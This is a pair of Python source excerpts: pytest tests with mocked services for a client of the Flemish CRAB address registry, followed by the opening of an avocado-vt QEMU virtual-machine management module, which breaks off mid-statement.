BeginBewerking=1, BeginOrganisatie=1 ) crab_service.GetHuisnummerWithStatusByHuisnummerId.return_value = Mock( HuisnummerId=1, BeginBewerking=1, BeginOrganisatie=1 ) h = Huisnummer(1, 3, '51', 17718) h.set_gateway(crab_gateway) assert h.id == 1 assert int(h.status.id) == 3 assert h.huisnummer == "51" assert int(h.straat.id) == 17718 h.metadata.set_gateway(crab_gateway) assert isinstance(h.metadata, Metadata) assert not h.metadata.begin_datum == None assert not h.metadata.begin_tijd == None assert isinstance(h.metadata.begin_bewerking, Bewerking) assert int(h.metadata.begin_bewerking.id) == 1 assert isinstance(h.metadata.begin_organisatie, Organisatie) assert int(h.metadata.begin_organisatie.id) == 1 def test_postkanton(self, crab_gateway, crab_service): crab_service.GetPostkantonByHuisnummerId.return_value = Mock( PostkantonCode=1 ) h = Huisnummer(1, 3, '51', 17718) h.set_gateway(crab_gateway) postkanton = h.postkanton assert isinstance(postkanton, Postkanton) def test_terreinobjecten(self, crab_gateway, crab_service): crab_service.ListTerreinobjectenByHuisnummerId.return_value = Mock( TerreinobjectItem=[Mock()] ) h = Huisnummer(1, 3, '51', 17718) h.set_gateway(crab_gateway) terreinobjecten = h.terreinobjecten assert isinstance(terreinobjecten, list) def test_percelen(self, crab_gateway, crab_service): crab_service.ListPercelenByHuisnummerId.return_value = Mock( PerceelItem=[Mock()] ) h = Huisnummer(1, 3, '51', 17718) h.set_gateway(crab_gateway) percelen = h.percelen assert isinstance(percelen, list) def test_gebouwen(self, crab_gateway, crab_service): crab_service.ListGebouwenByHuisnummerId.return_value = Mock( GebouwItem=[Mock(IdentificatorGebouw=1)] ) h = Huisnummer(1, 3, '51', 17718) h.set_gateway(crab_gateway) gebouwen = h.gebouwen assert isinstance(gebouwen, list) def test_subadressen(self, crab_gateway, crab_service): crab_service.ListSubadressenWithStatusByHuisnummerId.return_value = ( Mock(SubadresWithStatusItem=[Mock(SubadresId=1)]) ) h = Huisnummer(1, 3, '51', 17718) h.set_gateway(crab_gateway) subadressen = h.subadressen assert isinstance(subadressen, list) def test_adresposities(self, crab_gateway, crab_service): crab_service.ListAdrespositiesByHuisnummerId.return_value = Mock( AdrespositieItem=[Mock()] ) h = Huisnummer(1, 3, '51', 17718) h.set_gateway(crab_gateway) adresposities = h.adresposities assert isinstance(adresposities, list) def test_status(self, crab_gateway, crab_service): crab_service.ListStatusHuisnummers.return_value = Mock( CodeItem=[Mock(Code=3)] ) h = Huisnummer(1, 3, '51', 17718) h.set_gateway(crab_gateway) status = h.status assert isinstance(status, Statushuisnummer) def test_bounding_box(self, crab_gateway, crab_service): crab_service.ListTerreinobjectenByHuisnummerId.return_value = Mock( TerreinobjectItem=[Mock()] ) crab_service.GetTerreinobjectByIdentificatorTerreinobject\ .return_value = Mock( IdentificatorTerreinobject='13040_C_1747_G_002_00', BeginBewerking=1, BeginOrganisatie=1 ) h = Huisnummer(1, 3, '51', 17718) h.set_gateway(crab_gateway) bounding = h.bounding_box assert isinstance(bounding, list) assert len(bounding) == 4 def test_check_gateway_not_set(self): h = Huisnummer(1, 3, '51', 17718) with pytest.raises(RuntimeError): h.check_gateway() def test_postadres(self, crab_gateway, crab_service): crab_service.GetPostadresByHuisnummerId.return_value = Mock( Postadres='Steenweg op Oosthoven 51, 2300 Turnhout' ) h = Huisnummer(1, 3, '51', 17718) h.set_gateway(crab_gateway) assert h.postadres == 'Steenweg op Oosthoven 51, 2300 Turnhout' class TestPostkanton: def test_fully_initialised(self): p = Postkanton( 2630 ) assert p.id == 2630 assert 'Postkanton 2630' == str(p) assert 'Postkanton(2630)' == repr(p) class TestWegobject: def test_fully_initialised(self): w = Wegobject( "53839893", Aardwegobject(4, 'ntLink', 'Wegverbinding volgens NavTeq.'), (150753.46, 200148.41), (150693.58, 200080.56, 150813.35, 200216.27), Metadata( '1830-01-01 00:00:00', '2008-04-17 16:32:11.753000', Bewerking(1, '', ''), Organisatie(8, '', '') ) ) assert w.id == "53839893" assert w.centroid == (150753.46, 200148.41) assert w.bounding_box == (150693.58, 200080.56, 150813.35, 200216.27) assert int(w.aard_id) == 4 assert isinstance(w.aard, Aardwegobject) assert isinstance(w.metadata, Metadata) assert w.metadata.begin_datum == '1830-01-01 00:00:00' assert w.metadata.begin_tijd == '2008-04-17 16:32:11.753000' assert isinstance(w.metadata.begin_bewerking, Bewerking) assert int(w.metadata.begin_bewerking.id) == 1 assert isinstance(w.metadata.begin_organisatie, Organisatie) assert int(w.metadata.begin_organisatie.id) == 8 assert 'Wegobject 53839893' == str(w) assert 'Wegobject(53839893)' == repr(w) def test_check_gateway_not_set(self): w = Wegobject(1, 4) with pytest.raises(RuntimeError): w.check_gateway() def test_aard(self, crab_gateway, crab_service): crab_service.ListAardWegobjecten.return_value = Mock( CodeItem=[Mock(Code=4)] ) w = Wegobject("53839893", 4) w.set_gateway(crab_gateway) aard = w.aard assert isinstance(aard, Aardwegobject) def test_lazy_load(self, crab_gateway, crab_service): crab_service.ListAardWegobjecten.return_value = Mock( CodeItem=[Mock(Code=4)] ) crab_service.GetWegobjectByIdentificatorWegobject.return_value = Mock( IdentificatorWegobject='53839893', BeginBewerking=1, BeginOrganisatie=1, CenterX=150753.46, CenterY=200148.41, MinimumX=150693.58, MinimumY=200080.56, MaximumX=150813.35, MaximumY=200216.27 ) w = Wegobject("53839893", 4) w.set_gateway(crab_gateway) assert w.id == "53839893" assert int(w.aard.id) == 4 assert w.centroid == (150753.46, 200148.41) assert w.bounding_box == (150693.58, 200080.56, 150813.35, 200216.27) w.metadata.set_gateway(crab_gateway) assert isinstance(w.metadata, Metadata) assert not w.metadata.begin_datum == None assert not w.metadata.begin_tijd == None assert isinstance(w.metadata.begin_bewerking, Bewerking) assert int(w.metadata.begin_bewerking.id) == 1 assert isinstance(w.metadata.begin_organisatie, Organisatie) assert int(w.metadata.begin_organisatie.id) == 1 class TestWegsegment: def test_fully_initialised(self): w = Wegsegment( "108724", Statuswegsegment(4, 'inGebruik', None), Geometriemethodewegsegment(3, 'grb', None), """LINESTRING (150339.255243488 201166.401677653,\ 150342.836939491 201165.832525652,\ 150345.139531493 201165.466573652,\ 150349.791371495 201164.769421652,\ 150352.512459494 201164.36161365,\ 150358.512331501 201163.46241365,\ 150375.039179511 201156.606669646,\ 150386.901963517 201150.194893643,\ 150397.470027529 201142.865485638,\ 150403.464011535 201135.266637631,\ 150407.825739533 201127.481037624,\ 150414.301515542 201109.016653612,\ 150431.792971551 201057.519821577,\ 150442.85677956 201026.858701557,\ 150454.530123569 200999.312717538,\ 150472.404939577 200955.342029508,\ 150483.516619585 200927.052237488,\ 150500.807755597 200883.890765458,\ 150516.94650761 200844.146253429,\ 150543.214411631 200773.35943738,\ 150546.079307631 200764.489805374,\ 150548.592075631 200754.511565369)""", Metadata( '1830-01-01 00:00:00', '2013-04-12 20:12:12.687000', Bewerking(3, '', ''), Organisatie(1, '', '') ) ) assert w.id == "108724" assert w.geometrie == """LINESTRING (150339.255243488 201166.401677653,\ 150342.836939491 201165.832525652,\ 150345.139531493 201165.466573652,\ 150349.791371495 201164.769421652,\ 150352.512459494 201164.36161365,\ 150358.512331501 201163.46241365,\ 150375.039179511 201156.606669646,\ 150386.901963517 201150.194893643,\ 150397.470027529 201142.865485638,\ 150403.464011535 201135.266637631,\ 150407.825739533 201127.481037624,\ 150414.301515542 201109.016653612,\ 150431.792971551 201057.519821577,\ 150442.85677956 201026.858701557,\ 150454.530123569 200999.312717538,\ 150472.404939577 200955.342029508,\ 150483.516619585 200927.052237488,\ 150500.807755597 200883.890765458,\ 150516.94650761 200844.146253429,\ 150543.214411631 200773.35943738,\ 150546.079307631 200764.489805374,\ 150548.592075631 200754.511565369)""" assert int(w.status_id) == 4 assert isinstance(w.status, Statuswegsegment) assert int(w._methode_id) == 3 assert isinstance(w.methode, Geometriemethodewegsegment) assert isinstance(w.metadata, Metadata) assert w.metadata.begin_datum == '1830-01-01 00:00:00' assert w.metadata.begin_tijd == '2013-04-12 20:12:12.687000' assert isinstance(w.metadata.begin_bewerking, Bewerking) assert int(w.metadata.begin_bewerking.id) == 3 assert isinstance(w.metadata.begin_organisatie, Organisatie) assert int(w.metadata.begin_organisatie.id) == 1 assert 'Wegsegment 108724' == str(w) assert 'Wegsegment(108724)' == repr(w) def test_check_gateway_not_set(self): w = Wegsegment(1, 4) with pytest.raises(RuntimeError): w.check_gateway() def test_status(self, crab_gateway, crab_service): crab_service.ListStatusWegsegmenten.return_value = Mock( CodeItem=[Mock(Code=4)] ) w = Wegsegment('108724', 4) w.set_gateway(crab_gateway) status = w.status assert isinstance(status, Statuswegsegment) def test_methode(self, crab_gateway, crab_service): crab_service.ListGeometriemethodeWegsegmenten.return_value = Mock( CodeItem=[Mock(Code=2)] ) crab_service.GetWegsegmentByIdentificatorWegsegment.return_value = ( Mock(IdentificatorWegsegment='108724', BeginBewerking=1, BeginOrganisatie=1, GeometriemethodeWegsegment=2) ) w = Wegsegment('108724', 4) w.set_gateway(crab_gateway) methode = w.methode assert isinstance(methode, Geometriemethodewegsegment) def test_lazy_load(self, crab_gateway, crab_service): crab_service.GetWegsegmentByIdentificatorWegsegment.return_value = ( Mock(IdentificatorWegsegment='108724', BeginBewerking=1, BeginOrganisatie=1, GeometriemethodeWegsegment=3, Geometrie='LINESTRING (150339.255243488 201166.401677653,' '150342.836939491 201165.832525652,' '150345.139531493 201165.466573652,' '150349.791371495 201164.769421652)' ) ) crab_service.ListGeometriemethodeWegsegmenten.return_value = Mock( CodeItem=[Mock(Code=3)] ) crab_service.ListStatusWegsegmenten.return_value = Mock( CodeItem=[Mock(Code=4)] ) w = Wegsegment('108724', 4) w.set_gateway(crab_gateway) assert w.id == "108724" assert int(w.status.id) == 4 assert int(w.methode.id) == 3 assert w.geometrie == ('LINESTRING (150339.255243488 201166.401677653,' '150342.836939491 201165.832525652,' '150345.139531493 201165.466573652,' '150349.791371495 201164.769421652)') w.metadata.set_gateway(crab_gateway) assert isinstance(w.metadata, Metadata) assert not w.metadata.begin_datum == None assert not w.metadata.begin_tijd == None assert isinstance(w.metadata.begin_bewerking, Bewerking) assert int(w.metadata.begin_bewerking.id) == 1 assert isinstance(w.metadata.begin_organisatie, Organisatie) assert int(w.metadata.begin_organisatie.id) == 1 class TestTerreinobject: def test_fully_initialised(self): t = Terreinobject( "13040_C_1747_G_002_00", Aardterreinobject( 1, 'kadPerceel', 'Perceel volgens het Kadaster.' ), (190708.59, 224667.59), (190700.24, 224649.87, 190716.95, 224701.7), Metadata( '1998-01-01 00:00:00', '2009-09-11 12:46:55.693000', Bewerking(3, '', ''), Organisatie(3, '', '') ) ) assert t.id == "13040_C_1747_G_002_00" assert t.centroid == (190708.59, 224667.59) assert t.bounding_box == (190700.24, 224649.87, 190716.95, 224701.7) assert int(t.aard_id) == 1 assert isinstance(t.aard, Aardterreinobject) assert isinstance(t.metadata, Metadata) assert t.metadata.begin_datum == '1998-01-01 00:00:00' assert t.metadata.begin_tijd == '2009-09-11 12:46:55.693000' assert isinstance(t.metadata.begin_bewerking, Bewerking) assert int(t.metadata.begin_bewerking.id) == 3 assert isinstance(t.metadata.begin_organisatie, Organisatie) assert int(t.metadata.begin_organisatie.id) == 3 assert 'Terreinobject 13040_C_1747_G_002_00' == str(t) assert 'Terreinobject(13040_C_1747_G_002_00)' == repr(t) def test_lazy_load(self, crab_gateway, crab_service): crab_service.GetTerreinobjectByIdentificatorTerreinobject\ .return_value = Mock( IdentificatorTerreinobject='13040_C_1747_G_002_00', BeginBewerking=1, BeginOrganisatie=1, CenterX=190708.59, CenterY=224667.58, MinimumX=190700.24, MinimumY=224649.87, MaximumX=190716.95, MaximumY=224701.7 ) crab_service.ListAardTerreinobjecten.return_value = Mock( CodeItem=[Mock(Code=1)] ) t = Terreinobject("13040_C_1747_G_002_00", 1) t.set_gateway(crab_gateway) assert t.id == "13040_C_1747_G_002_00" assert t.centroid == (190708.59, 224667.58) assert t.bounding_box == (190700.24, 224649.87, 190716.95, 224701.7) assert int(t.aard.id) == 1 t.metadata.set_gateway(crab_gateway) assert isinstance(t.metadata, Metadata) assert not t.metadata.begin_datum == None assert not t.metadata.begin_tijd == None assert isinstance(t.metadata.begin_bewerking, Bewerking) assert int(t.metadata.begin_bewerking.id) == 1 assert isinstance(t.metadata.begin_organisatie, Organisatie) assert int(t.metadata.begin_organisatie.id) == 1 def test_aard(self, crab_gateway, crab_service): crab_service.ListAardTerreinobjecten.return_value = Mock( CodeItem=[Mock(Code=1)] ) t = Terreinobject("13040_C_1747_G_002_00", 1) t.set_gateway(crab_gateway) assert isinstance(t.aard, Aardterreinobject) class TestPerceel: def test_fully_initialised(self): p = Perceel( "13040C1747/00G002", (190708.59, 224667.59), Metadata( '1998-01-01 00:00:00', '2009-09-11 12:46:55.693000', Bewerking(3, '', ''), Organisatie(3, '', '') ) ) assert p.id == "13040C1747/00G002" assert p.centroid == (190708.59, 224667.59) assert isinstance(p.metadata, Metadata) assert p.metadata.begin_datum == '1998-01-01 00:00:00' assert p.metadata.begin_tijd == '2009-09-11 12:46:55.693000' assert isinstance(p.metadata.begin_bewerking, Bewerking) assert int(p.metadata.begin_bewerking.id) == 3 assert isinstance(p.metadata.begin_organisatie, Organisatie) assert int(p.metadata.begin_organisatie.id) == 3 assert 'Perceel 13040C1747/00G002' == str(p) assert 'Perceel(13040C1747/00G002)' == repr(p) def test_lazy_load(self, crab_gateway, crab_service): crab_service.GetPerceelByIdentificatorPerceel.return_value = Mock( IdentificatorPerceel='13040C1747/00G002', BeginBewerking=1, BeginOrganisatie=1, CenterX=190708.59, CenterY=224667.58, ) p = Perceel("13040C1747/00G002") p.set_gateway(crab_gateway) assert p.id == "13040C1747/00G002" assert p.centroid == (190708.59, 224667.58) p.metadata.set_gateway(crab_gateway) assert isinstance(p.metadata, Metadata) assert p.metadata.begin_datum is not None assert p.metadata.begin_tijd is not None assert isinstance(p.metadata.begin_bewerking, Bewerking) assert int(p.metadata.begin_bewerking.id) == 1 assert isinstance(p.metadata.begin_organisatie, Organisatie) assert int(p.metadata.begin_organisatie.id) == 1 def test_huisnummers(self, crab_gateway, crab_service): crab_service.GetPerceelByIdentificatorPerceel.return_value = Mock( IdentificatorPerceel='13040C1747/00G002', BeginBewerking=1, BeginOrganisatie=1 ) crab_service.ListHuisnummersWithStatusByIdentificatorPerceel\ .return_value = Mock( HuisnummerWithStatusItem=[Mock(HuisnummerId=1)] ) crab_service.GetHuisnummerWithStatusByHuisnummerId.return_value = ( Mock(HuisnummerId=1, BeginBewerking=1, BeginOrganisatie=1) ) p = crab_gateway.get_perceel_by_id('13040C1747/00G002') hnrs = p.huisnummers assert isinstance(hnrs, list) assert [h.id for h in hnrs] == [h.id for h in crab_gateway.list_huisnummers_by_perceel('13040C1747/00G002')] def test_postadressen(self, crab_gateway, crab_service): crab_service.GetPerceelByIdentificatorPerceel.return_value = Mock( IdentificatorPerceel='13040C1747/00G002', BeginBewerking=1, BeginOrganisatie=1 ) crab_service.ListHuisnummersWithStatusByIdentificatorPerceel\ .return_value = Mock( HuisnummerWithStatusItem=[Mock(HuisnummerId=1)] ) crab_service.GetHuisnummerWithStatusByHuisnummerId.return_value = ( Mock(HuisnummerId=1, BeginBewerking=1, BeginOrganisatie=1, StatusHuisnummer=3) ) crab_service.ListStatusHuisnummers.return_value = Mock( CodeItem=[Mock(Code='3')] ) crab_service.GetPostadresByHuisnummerId.return_value = Mock( Postadres='Steenweg op Oosthoven 51, 2300 Turnhout' ) p = crab_gateway.get_perceel_by_id('13040C1747/00G002') postadressen = p.postadressen assert isinstance(postadressen, list) assert ['Steenweg op Oosthoven 51, 2300 Turnhout'] == postadressen class TestGebouw: def test_fully_initialised(self): g = Gebouw( "1538575", Aardgebouw(1, 'hoofdgebouw', 'hoofdgebouw volgens het GRB'), Statusgebouw(4, 'inGebruik', None), Geometriemethodegebouw(3, 'grb', None), """POLYGON ((190712.36432739347 224668.5216938965,\ 190706.26007138938 224667.54428589717,\ 190706.03594338894 224668.89276589826,\ 190704.89699938893 224668.66159789637,\ 190705.350887388 224666.14575789496,\ 190708.31754338741 224649.70287788659,\ 190717.16349539906 224653.81065388769,\ 190713.40490339696 224663.38582189381,\ 190712.36432739347 224668.5216938965))""", Metadata( '1830-01-01 00:00:00', '2011-05-19 10:51:09.483000', Bewerking(1, '', ''), Organisatie(5, '', '') ) ) assert g.id, 1538575 assert int(g.aard_id) == 1 assert isinstance(g.aard, Aardgebouw) assert int(g.status_id) == 4 assert isinstance(g.status, Statusgebouw) assert int(g._methode_id) == 3 assert isinstance(g.methode, Geometriemethodegebouw) assert g.geometrie == """POLYGON ((190712.36432739347 224668.5216938965,\ 190706.26007138938 224667.54428589717,\ 190706.03594338894 224668.89276589826,\ 190704.89699938893 224668.66159789637,\ 190705.350887388 224666.14575789496,\ 190708.31754338741 224649.70287788659,\ 190717.16349539906 224653.81065388769,\ 190713.40490339696 224663.38582189381,\ 190712.36432739347 224668.5216938965))""" assert isinstance(g.metadata, Metadata) assert g.metadata.begin_datum == '1830-01-01 00:00:00' assert g.metadata.begin_tijd == '2011-05-19 10:51:09.483000' assert isinstance(g.metadata.begin_bewerking, Bewerking) assert int(g.metadata.begin_bewerking.id) == 1 assert isinstance(g.metadata.begin_organisatie, Organisatie) assert int(g.metadata.begin_organisatie.id) == 5 assert 'Gebouw 1538575' == str(g) assert 'Gebouw(1538575)' == repr(g) def test_lazy_load(self, crab_gateway, crab_service): crab_service.ListAardGebouwen.return_value = Mock( CodeItem=[Mock(Code=1)] ) crab_service.ListStatusGebouwen.return_value = Mock( CodeItem=[Mock(Code=4)] ) crab_service.ListGeometriemethodeGebouwen.return_value = Mock( CodeItem=[Mock(Code=3)] ) crab_service.GetGebouwByIdentificatorGebouw.return_value = Mock( IdentificatorGebouw=1538575, BeginBewerking=1, BeginOrganisatie=1, GeometriemethodeGebouw=3, Geometrie="POLYGON ((190712.36432739347 224668.5216938965," "190706.26007138938 224667.54428589717," "190712.36432739347 224668.5216938965))" ) g = Gebouw("1538575", 1, 4) g.set_gateway(crab_gateway) assert g.id == 1538575 assert int(g.aard.id) == 1 assert int(g.status.id) == 4 assert int(g.methode.id) == 3 assert g.geometrie == ( "POLYGON ((190712.36432739347 224668.5216938965," "190706.26007138938 224667.54428589717," "190712.36432739347 224668.5216938965))" ) g.metadata.set_gateway(crab_gateway) assert isinstance(g.metadata, Metadata) assert g.metadata.begin_datum is not None assert g.metadata.begin_tijd is not None assert isinstance(g.metadata.begin_bewerking, Bewerking) assert int(g.metadata.begin_bewerking.id) == 1 assert isinstance(g.metadata.begin_organisatie, Organisatie) assert int(g.metadata.begin_organisatie.id) == 1 def test_aard(self, crab_gateway, crab_service): crab_service.ListAardGebouwen.return_value = Mock( CodeItem=[Mock(Code=1)] ) g = Gebouw("1538575", 1, 4) g.set_gateway(crab_gateway) aard = g.aard assert isinstance(aard, Aardgebouw) def test_status(self, crab_gateway, crab_service): crab_service.ListStatusGebouwen.return_value = Mock( CodeItem=[Mock(Code=4)] ) g = Gebouw("1538575", 1, 4) g.set_gateway(crab_gateway) status = g.status assert isinstance(status, Statusgebouw) def test_methode(self, crab_gateway, crab_service): crab_service.ListGeometriemethodeGebouwen.return_value = Mock( CodeItem=[Mock(Code=3)] ) crab_service.GetGebouwByIdentificatorGebouw.return_value = Mock( IdentificatorGebouw=1538575, BeginBewerking=1, BeginOrganisatie=1, GeometriemethodeGebouw=3 ) g = Gebouw("1538575", 1, 4) g.set_gateway(crab_gateway) methode = g.methode assert isinstance(methode, Geometriemethodegebouw) class TestMetadata: def test_fully_initialised(self): m = Metadata( '1830-01-01 00:00:00', '2003-12-06 21:42:11.117000', Bewerking(1, '', ''), Organisatie(6, '', '') ) assert m.begin_datum == '1830-01-01 00:00:00' assert m.begin_tijd == '2003-12-06 21:42:11.117000' assert isinstance(m.begin_bewerking, Bewerking) assert int(m.begin_bewerking.id) == 1 assert isinstance(m.begin_organisatie, Organisatie) assert int(m.begin_organisatie.id) == 6 assert 'Begin datum: 1830-01-01 00:00:00' == str(m) def test_lazy_load(self, crab_gateway, crab_service): m = Metadata( '1830-01-01 00:00:00', '2003-12-06 21:42:11.117000', 1, 1, gateway=crab_gateway ) assert m.begin_datum == '1830-01-01 00:00:00' assert m.begin_tijd == '2003-12-06 21:42:11.117000' assert isinstance(m.begin_bewerking, Bewerking) assert int(m.begin_bewerking.id) == 1 assert isinstance(m.begin_organisatie, Organisatie) assert int(m.begin_organisatie.id) == 1 class TestSubadres: def test_fully_initialised(self): s = Subadres( 1120936, "B", Statussubadres(3, 'inGebruik', 'None'), 38020, Aardsubadres(1, 'gemeente', 'Gemeente.'), Metadata( '1830-01-01 00:00:00', '2011-04-29 13:27:40.230000', Bewerking(1, '', ''), Organisatie(5, '', '') ) ) assert s.id == 1120936 assert s.subadres == "B" assert int(s.status_id) == 3 assert isinstance(s.status, Statussubadres) assert int(s.huisnummer_id) == 38020 assert isinstance(s.metadata, Metadata) assert s.metadata.begin_datum == '1830-01-01 00:00:00' assert s.metadata.begin_tijd, '2011-04-29 13:27:40.230000' assert isinstance(s.metadata.begin_bewerking, Bewerking) assert int(s.metadata.begin_bewerking.id) == 1 assert isinstance(s.metadata.begin_organisatie, Organisatie) assert int(s.metadata.begin_organisatie.id) == 5 assert 'B (1120936)' == str(s) assert "Subadres(1120936, 3, 'B', 38020)" == repr(s) def test_str_dont_lazy_load(self): s = Subadres(1120936, 'B', 3) assert 'B (1120936)' == str(s) def test_lazy_load(self, crab_gateway, crab_service): crab_service.ListStatusHuisnummers.return_value = Mock( CodeItem=[Mock(Code=3)] ) crab_service.GetHuisnummerWithStatusByHuisnummerId.return_value = Mock( HuisnummerId=38020, BeginBewerking=1, BeginOrganisatie=1 ) crab_service.GetSubadresWithStatusBySubadresId.return_value = Mock( SubadresId=1120936, BeginBewerking=1, BeginOrganisatie=1, AardSubadres=2 ) crab_service.ListAardSubadressen.return_value = Mock( CodeItem=[Mock(Code=2)] ) s = Subadres(1120936, 'B', 3) s.set_gateway(crab_gateway) assert s.id == 1120936 assert int(s.status.id) == 3 assert s.subadres == "B" assert isinstance(s.aard, Aardsubadres) assert int(s.huisnummer.id) == 38020 s.metadata.set_gateway(crab_gateway) assert isinstance(s.metadata, Metadata) assert s.metadata.begin_datum is not None assert s.metadata.begin_tijd is not None assert isinstance(s.metadata.begin_bewerking, Bewerking) assert int(s.metadata.begin_bewerking.id) == 1 assert isinstance(s.metadata.begin_organisatie, Organisatie) assert int(s.metadata.begin_organisatie.id) == 1 def test_check_gateway_not_set(self): s = Subadres(1, 3, 'B', 129462) with pytest.raises(RuntimeError): s.check_gateway() def test_adresposities(self, crab_gateway, crab_service): crab_service.ListAdrespositiesBySubadresId.return_value = Mock( AdrespositieItem=[Mock()] ) s = Subadres(1120936, 'B', 3) s.set_gateway(crab_gateway) adresposities = s.adresposities assert isinstance(adresposities, list) def test_postadres(self, crab_gateway, crab_service): crab_service.GetPostadresBySubadresId.return_value = Mock( Postadres='Antoon van Brabantstraat 7 bus B, 2630 Aartselaar' ) s = Subadres(1120936, 'B', 3) s.set_gateway(crab_gateway) assert s.postadres == 'Antoon van Brabantstraat 7 bus B, 2630 Aartselaar' class TestAdrespositie: def test_fully_initialised(self): a = Adrespositie( 4087928, Herkomstadrespositie( '6', 'manueleAanduidingVanToegangTotDeWeg', None ), """POINT(190705.34 224675.26)""", Aardadres( '1', 'subAdres', 'Aanduiding van een plaats op een huisnummer' ), Metadata( '1830-01-01 00:00:00', '', None, None ) ) assert a.id == 4087928 assert str(a.herkomst.id) == '6' assert a.geometrie == 'POINT(190705.34 224675.26)' assert str(a.aard.id) == '1' assert isinstance(a.metadata, Metadata) assert a.metadata.begin_datum == '1830-01-01 00:00:00' assert 'Adrespositie 4087928' == str(a) assert "Adrespositie(4087928, 6)" == repr(a) def test_str_dont_lazy_load(self, crab_gateway): a = Adrespositie(4087928, 2) a.set_gateway(crab_gateway) assert 'Adrespositie 4087928' == str(a) def test_lazy_load(self, crab_gateway, crab_service): crab_service.GetAdrespositieByAdrespositieId.return_value = Mock( AdrespositieId=4428005, BeginBewerking=1, BeginOrganisatie=1, Geometrie='POINT (74414.91 225777.36)', AardAdres=2, BeginDatum='1830-01-01 00:00:00' ) crab_service.ListAardAdressen.return_value = Mock( CodeItem=[Mock(Code=2)] ) a = Adrespositie(4428005, 3) a.set_gateway(crab_gateway) assert a.id == 4428005 assert a.herkomst_id == 3 assert str(a.geometrie) == 'POINT (74414.91 225777.36)' assert int(a.aard.id) == 2 assert isinstance(a.metadata, Metadata) assert a.metadata.begin_datum == '1830-01-01 00:00:00' def test_check_gateway_not_set(self): a = Adrespositie(4087928, 2) with pytest.raises(RuntimeError): a.check_gateway()
codeparrot/github-code-clean
""" Utility classes and functions to handle Virtual Machine creation using qemu. :copyright: 2008-2009, 2014 Red Hat Inc. """ import time import os import logging import fcntl import re import commands import aexpect from avocado.core import exceptions from avocado.utils import process from avocado.utils import crypto from .qemu_devices import qdevices, qcontainer from . import utils_misc from . import virt_vm from . import test_setup from . import qemu_monitor from . import qemu_virtio_port from . import remote from . import data_dir from . import utils_net from . import arch from . import storage from . import error_context class QemuSegFaultError(virt_vm.VMError): def __init__(self, crash_message): virt_vm.VMError.__init__(self, crash_message) self.crash_message = crash_message def __str__(self): return "Qemu crashed: %s" % self.crash_message class VMMigrateProtoUnsupportedError(virt_vm.VMMigrateProtoUnknownError): """ When QEMU tells us it doesn't know about a given migration protocol. This usually happens when we're testing older QEMU. It makes sense to skip the test in this situation. """ def __init__(self, protocol=None, output=None): self.protocol = protocol self.output = output def __str__(self): return ("QEMU reports it doesn't know migration protocol '%s'. " "QEMU output: %s" % (self.protocol, self.output)) class KVMInternalError(virt_vm.VMError): pass class ImageUnbootableError(virt_vm.VMError): def __init__(self, name): virt_vm.VMError.__init__(self, name) self.name = name def __str__(self): return ("VM '%s' can't bootup from image," " check your boot disk image file." % self.name) def clean_tmp_files(): if os.path.isfile(CREATE_LOCK_FILENAME): os.unlink(CREATE_LOCK_FILENAME) CREATE_LOCK_FILENAME = os.path.join(data_dir.get_tmp_dir(), 'avocado-vt-vm-create.lock') class VM(virt_vm.BaseVM): """ This class handles all basic VM operations. """ MIGRATION_PROTOS = ['rdma', 'x-rdma', 'tcp', 'unix', 'exec', 'fd'] # By default we inherit all timeouts from the base VM class except... CLOSE_SESSION_TIMEOUT = 30 def __init__(self, name, params, root_dir, address_cache, state=None): """ Initialize the object and set a few attributes. :param name: The name of the object :param params: A dict containing VM params (see method make_create_command for a full description) :param root_dir: Base directory for relative filenames :param address_cache: A dict that maps MAC addresses to IP addresses :param state: If provided, use this as self.__dict__ """ if state: self.__dict__ = state else: self.process = None self.serial_ports = [] self.serial_console_log = None self.serial_console = None self.virtio_console = None self.redirs = {} self.spice_options = {} self.vnc_port = 5900 self.monitors = [] self.virtio_ports = [] # virtio_console / virtio_serialport self.pci_assignable = None self.uuid = None self.vcpu_threads = [] self.vhost_threads = [] self.devices = None self.logs = {} self.remote_sessions = [] self.logsessions = {} self.name = name self.params = params self.root_dir = root_dir self.ip_version = self.params.get("ip_version", "ipv4") self.address_cache = address_cache self.index_in_use = {} # This usb_dev_dict member stores usb controller and device info, # It's dict, each key is an id of usb controller, # and key's value is a list, contains usb devices' ids which # attach to this controller. # A filled usb_dev_dict may look like: # { "usb1" : ["stg1", "stg2", "stg3", "stg4", "stg5", "stg6"], # "usb2" : ["stg7", "stg8"], # ... # } # This structure can used in usb hotplug/unplug test. self.usb_dev_dict = {} self.driver_type = 'qemu' self.params['driver_type_' + self.name] = self.driver_type # virtnet init depends on vm_type/driver_type being set w/in params super(VM, self).__init__(name, params) # un-overwrite instance attribute, virtnet db lookups depend on this if state: self.instance = state['instance'] self.qemu_command = '' self.start_time = 0.0 self.start_monotonic_time = 0.0 self.last_boot_index = 0 self.last_driver_index = 0 def verify_alive(self): """ Make sure the VM is alive and that the main monitor is responsive. :raise VMDeadError: If the VM is dead :raise: Various monitor exceptions if the monitor is unresponsive """ self.verify_disk_image_bootable() self.verify_userspace_crash() self.verify_kernel_crash() self.verify_illegal_instruction() self.verify_kvm_internal_error() try: virt_vm.BaseVM.verify_alive(self) if self.monitor: self.monitor.verify_responsive() except virt_vm.VMDeadError: raise virt_vm.VMDeadError(self.process.get_status(), self.process.get_output()) def is_alive(self): """ Return True if the VM is alive and its monitor is responsive. """ return not self.is_dead() and (not self.catch_monitor or self.catch_monitor.is_responsive()) def is_dead(self): """ Return True if the qemu process is dead. """ return not self.process or not self.process.is_alive() def is_paused(self): """ Return True if the qemu process is paused ('stop'ed) """ if self.is_dead(): return False try: self.verify_status("paused") return True except virt_vm.VMStatusError: return False def verify_status(self, status): """ Check VM status :param status: Optional VM status, 'running' or 'paused' :raise VMStatusError: If the VM status is not same as parameter """ if not self.monitor.verify_status(status): raise virt_vm.VMStatusError('Unexpected VM status: "%s"' % self.monitor.get_status()) def verify_userspace_crash(self): """ Verify if the userspace component (qemu) crashed. """ if "(core dumped)" in self.process.get_output(): for line in self.process.get_output().splitlines(): if "(core dumped)" in line: raise QemuSegFaultError(line) def verify_kvm_internal_error(self): """ Verify KVM internal error. """ if "KVM internal error." in self.process.get_output(): out = self.process.get_output() out = out[out.find("KVM internal error."):] raise KVMInternalError(out) def verify_disk_image_bootable(self): if self.params.get("image_verify_bootable") == "yes": pattern = self.params.get("image_unbootable_pattern") if not pattern: raise virt_vm.VMConfigMissingError(self.name, "image_unbootable_pattern") try: seabios_log = self.logsessions['seabios'].get_output() if re.search(pattern, seabios_log, re.S): logging.error("Can't boot guest from image.") # Set 'shutdown_command' to None to force autotest # shuts down guest with monitor. self.params["shutdown_command"] 